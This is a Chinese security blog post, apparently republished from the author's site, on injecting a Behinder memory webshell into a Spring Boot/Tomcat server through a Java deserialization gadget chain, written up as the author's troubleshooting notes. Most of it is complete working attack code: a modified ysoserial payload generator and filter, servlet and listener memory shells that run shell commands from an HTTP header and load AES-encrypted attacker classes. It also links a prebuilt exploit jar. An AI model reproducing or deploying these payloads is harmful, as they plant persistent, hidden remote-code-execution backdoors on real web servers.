Java 反序列化注入冰蝎内存马相关踩坑笔记

作者：Y4er
原文链接：https://y4er.com/post/java-deserialization-inject-behinder-memshell-note/

朋友叫帮忙打一个内存马进去，用的是cb链，无cc依赖，我寻思这不是有手就行吗，谁知道接下来遇到了无数的坑。

改造cb链去除cc依赖

这个是p牛讲过的了，不多说，直接贴代码

public Object getObject(final String command) throws Exception {
    final Object template = Gadgets.createTemplatesImpl(command);
    final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    queue.add("1");
    queue.add("1");

    Reflections.setFieldValue(comparator, "property", "outputProperties");

    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = template;
    queueArray[1] = template;

    return queue;
}

用String.CASE_INSENSITIVE_ORDER替换掉cc的org.apache.commons.collections.comparators.ComparableComparator。

然后是内存马的地方，修改了ysoserial.payloads.util.Gadgets的createTemplatesImpl来加载自定义的class文件。

public static Object createTemplatesImpl(String command) throws Exception {
    command = command.trim();
    Class tplClass;
    Class abstTranslet;
    Class transFactory;

    if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
        tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
        abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
        transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
    } else {
        tplClass = TemplatesImpl.class;
        abstTranslet = AbstractTranslet.class;
        transFactory = TransformerFactoryImpl.class;
    }

    if (command.startsWith("CLASS:")) {
        // 这里不能让它初始化，不然从线程中获取WebappClassLoaderBase时会强制类型转换异常。
        Class<?> clazz = Class.forName("ysoserial.payloads.templates." + command.substring(6), false, Gadgets.class.getClassLoader());
        return createTemplatesImpl(clazz, null, null, tplClass, abstTranslet, transFactory);
    } else if (command.startsWith("FILE:")) {
        byte[] bs = Files.readBytes(new File(command.substring(5)));
        return createTemplatesImpl(null, null, bs, tplClass, abstTranslet, transFactory);
    } else {
        if (command.startsWith("CMD:")) command = command.substring(4);
        return createTemplatesImpl(null, command, null, tplClass, abstTranslet, transFactory);
    }
}


public static <T> T createTemplatesImpl(Class myClass, final String command, byte[] bytes, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
    final T templates = tplClass.newInstance();
    byte[] classBytes = new byte[0];
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    CtClass superC = pool.get(abstTranslet.getName());
    CtClass ctClass;
    if (command != null) {
        ctClass = pool.get("ysoserial.payloads.templates.CommandTemplate");
        ctClass.setName(ctClass.getName() + System.nanoTime());
        String cmd = "cmd = \"" + command + "\";";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(superC);
        classBytes = ctClass.toBytecode();
    }
    if (myClass != null) {
        // CLASS:
        if (myClass.getName().contains("SpringInterceptorMemShell")) {
            // memShellClazz
            ctClass = pool.get(myClass.getName());
            // 修改b64字节码
            CtClass springTemplateClass = pool.get("ysoserial.payloads.templates.SpringInterceptorTemplate");
            String clazzName = "ysoserial.payloads.templates.SpringInterceptorTemplate" + System.nanoTime();
            springTemplateClass.setName(clazzName);
            String encode = Base64.encodeBase64String(springTemplateClass.toBytecode());
            String b64content = "b64=\"" + encode + "\";";
            ctClass.makeClassInitializer().insertBefore(b64content);
            // 修改SpringInterceptorMemShell随机命名 防止二次打不进去
            String clazzNameContent = "clazzName=\"" + clazzName + "\";";
            ctClass.makeClassInitializer().insertBefore(clazzNameContent);
            ctClass.setName(SpringInterceptorMemShell.class.getName() + System.nanoTime());
            ctClass.setSuperclass(superC);
            classBytes = ctClass.toBytecode();
        } else {
            classBytes = ClassFiles.classAsBytes(myClass);
        }
    }
    if (bytes != null) {
        // FILE:
        ctClass = pool.get("ysoserial.payloads.templates.ClassLoaderTemplate");
        ctClass.setName(ctClass.getName() + System.nanoTime());
        StringBuffer sb = new StringBuffer();
        for (int i = 0; i < bytes.length; i++) {
            sb.append(bytes[i]);
            if (i != bytes.length - 1) sb.append(",");
        }
        String content = "bs = new byte[]{" + sb + "};";
        // System.out.println(content);
        ctClass.makeClassInitializer().insertBefore(content);
        ctClass.setSuperclass(superC);
        classBytes = ctClass.toBytecode();
    }


    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

接下来就是static写注册servlet、filter的代码了。写一个servlet/filter继承AbstractTranslet并且实现对应接口和方法。目标是springboot的，我寻思写个tomcat filter就能整。

public class TomcatFilterMemShellFromThread extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "MyFilterVersion" + System.nanoTime();
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Class<? extends StandardContext> aClass = null;
            try {
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            } catch (Exception e) {
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
            Field Configs = aClass.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            TomcatFilterMemShellFromThread behinderFilter = new TomcatFilterMemShellFromThread();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }
...
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
            if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
                response.getWriter().println("error");
                return;
            }
        filterChain.doFilter(servletRequest, servletResponse);
    }
}

按理说这样绝对没问题，事实证明确实没问题，访问内存马输出了error。接下来向里写冰蝎的马，这也是第一个坑。我的内存马如下

@Override
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
    try {
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) resp;
        HttpSession session = request.getSession();

        //create pageContext
        HashMap pageContext = new HashMap();
        pageContext.put("request", request);
        pageContext.put("response", response);
        pageContext.put("session", session);

        if (request.getMethod().equals("GET")) {
            String cmd = request.getHeader("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                String[] cmds = null;
                if (File.separator.equals("/")) {
                    cmds = new String[]{"/bin/sh", "-c", cmd};
                } else {
                    cmds = new String[]{"cmd", "/c", cmd};
                }
                String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
                response.getWriter().println(result);
            }
        } else if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte, 0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }
    } catch (Exception e) {
//            e.printStackTrace();
    }
}

问题来了，cmdshell可以输出响应结果，而连接冰蝎总是报request.getReader().readLine()空指针。这是我踩得第一个坑。

包装类问题

目标环境是springboot2.0.9，内嵌tomcat。思来想去不应该request.getReader().readLine()空指针啊，然后一步一步在调，发现service中获取的参数是经过了包装的类。我这里用springboot模拟一个包装类。在MyFilter中

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
    ContentCachingResponseWrapper responseWrapper = new ContentCachingResponseWrapper((HttpServletResponse) response);
    ContentCachingRequestWrapper requestWrapper = new ContentCachingRequestWrapper((HttpServletRequest) request);
    chain.doFilter(requestWrapper, responseWrapper);
    responseWrapper.copyBodyToResponse();
}

向下传递的是经过ContentCaching包装的request和response。然后再另一个filter中，尝试request.getReader().readLine()确实报了空指针，导致冰蝎连不上。

然后我寻思我反射从从coyoteRequest中拼接body参数传递给冰蝎aes解密的decodeBufferc.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload)) 拼接完之后payload能正常获取了，也能正常解密了，然后evilclass.newInstance().equals(pageContext)的equals又出错了。

报了一个没有setCharacterEncoding方法。看了一下冰蝎的源码，发现net.rebeyond.behinder.payload.java.Echo#fillContext会进行反射调用setCharacterEncoding，但是ContentCachingResponseWrapper没有这个函数

除了这个地方，我又发现org.springframework.web.util.ContentCachingResponseWrapper.ResponseServletOutputStream#ResponseServletOutputStream的write函数重载没有只传入一个byte[]参数的

所以这个地方也会报错，导致冰蝎第一个请求包响应内容为空，进而导致连不上。

发现问题就解决问题。想过改冰蝎的class，但是工程量有点大，想了想还是改改内存马，不是包装类吗，我就拆了你的包装。

Object lastRequest = request;
Object lastResponse = response;
// 解决包装类RequestWrapper的问题
// 详细描述见 https://github.com/rebeyond/Behinder/issues/187
if (!(lastRequest instanceof RequestFacade)) {
    Method getRequest = ServletRequestWrapper.class.getMethod("getRequest");
    lastRequest = getRequest.invoke(request);
    while (true) {
        if (lastRequest instanceof RequestFacade) break;
        lastRequest = getRequest.invoke(lastRequest);
    }
}
// 解决包装类ResponseWrapper的问题
if (!(lastResponse instanceof ResponseFacade)) {
    Method getResponse = ServletResponseWrapper.class.getMethod("getResponse");
    lastResponse = getResponse.invoke(response);
    while (true) {
        if (lastResponse instanceof ResponseFacade) break;
        lastResponse = getResponse.invoke(lastResponse);
    }
}
HttpSession session = ((RequestFacade) lastRequest).getSession();
pageContext.put("request", lastRequest);
pageContext.put("response", lastResponse);
pageContext.put("session", session);

给冰蝎传的都是拆了包装的，这样解决了冰蝎class的问题，但是还有request.getReader().readLine()为空的问题。我是这么解决的，贴代码

String payload = request.getReader().readLine();
if (payload == null || payload.isEmpty()) {
    payload = "";
    // 拿到真实的Request对象而非门面模式的RequestFacade
    Field field = lastRequest.getClass().getDeclaredField("request");
    field.setAccessible(true);
    Request realRequest = (Request) field.get(lastRequest);
    // 从coyoteRequest中拼接body参数
    Field coyoteRequestField = realRequest.getClass().getDeclaredField("coyoteRequest");
    coyoteRequestField.setAccessible(true);
    org.apache.coyote.Request coyoteRequest = (org.apache.coyote.Request) coyoteRequestField.get(realRequest);
    Parameters parameters = coyoteRequest.getParameters();
    Field paramHashValues = parameters.getClass().getDeclaredField("paramHashValues");
    paramHashValues.setAccessible(true);
    LinkedHashMap paramMap = (LinkedHashMap) paramHashValues.get(parameters);

    Iterator<Map.Entry<String, ArrayList<String>>> iterator = paramMap.entrySet().iterator();
    while (iterator.hasNext()) {
        Map.Entry<String, ArrayList<String>> next = iterator.next();
        String paramKey = next.getKey().replaceAll(" ", "+");
        ArrayList<String> paramValueList = next.getValue();
        String paramValue = paramValueList.get(0);
        if (paramValueList.size() == 0) {
            payload = payload + paramKey;
        } else {
            payload = payload + paramKey + "=" + paramValue;
        }
    }
}

System.out.println(payload);

需要注意这里判断payload是否为空，是因为在springboot2.6.3测试时request.getReader().readLine()可以获取到payload而采取拼接的话为空，而2.0.9.RELEASE只能采用拼接参数的形式。

到此解决了冰蝎连接的问题，但是实战中并不是这么思路明确的，踩坑过程

通过jmx注册filter，发现cmdshell都没有
通过线程注册filter，cmdshell可以冰蝎连不上
猜测是spring的问题，于是我又试了spring的拦截器，发现cmd可以冰蝎还是不行。
最后硬调发现是包装类的问题，解决payload==null的问题。

springboot中的jmx名称

此时扭过头来看jmx注册servlet、filter，我在本地的tomcat发现可以成功，但是拿到springboot不行。先贴tomcat成功，springboot失败的代码

static {
    try {
        String filterName = "MyFilterVersion" + System.nanoTime();
        String urlPattern = "/*";

        MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
        Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
        field.setAccessible(true);
        Object obj = field.get(mbeanServer);

        field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
        field.setAccessible(true);
        Repository repository = (Repository) field.get(obj);

        Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);

        for (NamedObject namedObject : objectSet) {
            DynamicMBean dynamicMBean = namedObject.getObject();
            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
            field.setAccessible(true);
            obj = field.get(dynamicMBean);

            field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
            field.setAccessible(true);
            StandardContext standardContext = (StandardContext) field.get(obj);

            field = standardContext.getClass().getDeclaredField("filterConfigs");
            field.setAccessible(true);
            HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);

            if (map.get(filterName) == null) {
                //生成 FilterDef
                //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同，为了通用性，这里用反射来写
                Class filterDefClass = null;
                try {
                    filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
                } catch (ClassNotFoundException e) {
                    filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                }

                Object filterDef = filterDefClass.newInstance();
                filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, filterName);
                Filter filter = new TomcatFilterMemShellFromJMX();

                filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName());
                filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter);
                standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, filterDef);

                //设置 FilterMap
                //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同，为了通用性，这里用反射来写
                Class filterMapClass = null;
                try {
                    filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
                } catch (ClassNotFoundException e) {
                    filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                }

                Object filterMap = filterMapClass.newInstance();
                filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, filterName);
                filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, DispatcherType.REQUEST.name());
                filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, urlPattern);
                //调用 addFilterMapBefore 会自动加到队列的最前面，不需要原来的手工去调整顺序了
                standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, filterMap);

                //设置 FilterConfig
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef});
                map.put(filterName, filterConfig);
            }
        }
    } catch (Exception e) {
//            e.printStackTrace();
    }
}

在springboot动态调试之后发现Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null)为空集，于是在springboot中寻找jmx对象，发现名字改为了Tomcat而非Catalina，于是加一个if判断就解决了

if (objectSet.size() == 0) {
    // springboot的jmx中为Tomcat而非Catalina
    objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
}

Listener内存马

Listener内存马不存在包装类问题，可以直接写，感觉还是这个比较稳。

package ysoserial.payloads.templates;

import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Set;

public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
    static {
        try {
            MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mbeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            Repository repository = (Repository) field.get(obj);

            Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
            if (objectSet.size() == 0) {
                // springboot的jmx中为Tomcat而非Catalina
                objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
            }

            for (NamedObject namedObject : objectSet) {
                DynamicMBean dynamicMBean = namedObject.getObject();
                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
                field.setAccessible(true);
                obj = field.get(dynamicMBean);

                field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
                field.setAccessible(true);
                StandardContext standardContext = (StandardContext) field.get(obj);

                TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
                standardContext.addApplicationEventListener(listener);
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// Listener马没有包装类问题
        try {
            RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
            Field f = requestFacade.getClass().getDeclaredField("request");
            f.setAccessible(true);
            Request request = (Request) f.get(requestFacade);
            Response response = request.getResponse();
            // 入口
            if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
                // cmdshell
                if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
                    String cmd = request.getHeader("cmd");
                    if (cmd != null && !cmd.isEmpty()) {
                        String[] cmds = null;
                        if (System.getProperty("os.name").toLowerCase().contains("win")) {
                            cmds = new String[]{"cmd", "/c", cmd};
                        } else {
                            cmds = new String[]{"/bin/bash", "-c", cmd};
                        }
                        String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
                        response.resetBuffer();
                        response.getWriter().println(result);
                        response.flushBuffer();
                        response.finishResponse();
                    }
                } else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
                    if (request.getMethod().equals("POST")) {
                        // 创建pageContext
                        HashMap pageContext = new HashMap();

                        // lastRequest的session是没有被包装的session!!
                        HttpSession session = request.getSession();
                        pageContext.put("request", request);
                        pageContext.put("response", response);
                        pageContext.put("session", session);
                        // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
                        String payload = request.getReader().readLine();

//                        System.out.println(payload);
                        // 冰蝎逻辑
                        String k = "e45e329feb5d925b"; // rebeyond
                        session.putValue("u", k);
                        Cipher c = Cipher.getInstance("AES");
                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                        Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                        method.setAccessible(true);
                        byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
                        Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
                        evilclass.newInstance().equals(pageContext);
                    }
                } else {
                    response.resetBuffer();
                    response.getWriter().println("error");
                    response.flushBuffer();
                    response.finishResponse();
                }
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }
}

解决了springboot包装类和从jmx中拿到StandardContext的问题，写了servlet、filter、listener、Spring Interceptor内存马发现Listener内存马兼容性更强，

因为这一个内存马，我和朋友 @汤姆连着一星期3点睡觉7点起，感觉阎王快夸我好身体了……

打包好的jar包在 https://ysoserial.y4er.com/ysoserial-0.0.6-SNAPSHOT-all.jar 下载

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。

Paper 本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1883/

改造cb链去除cc依赖

包装类问题

springboot中的jmx名称

Listener内存马

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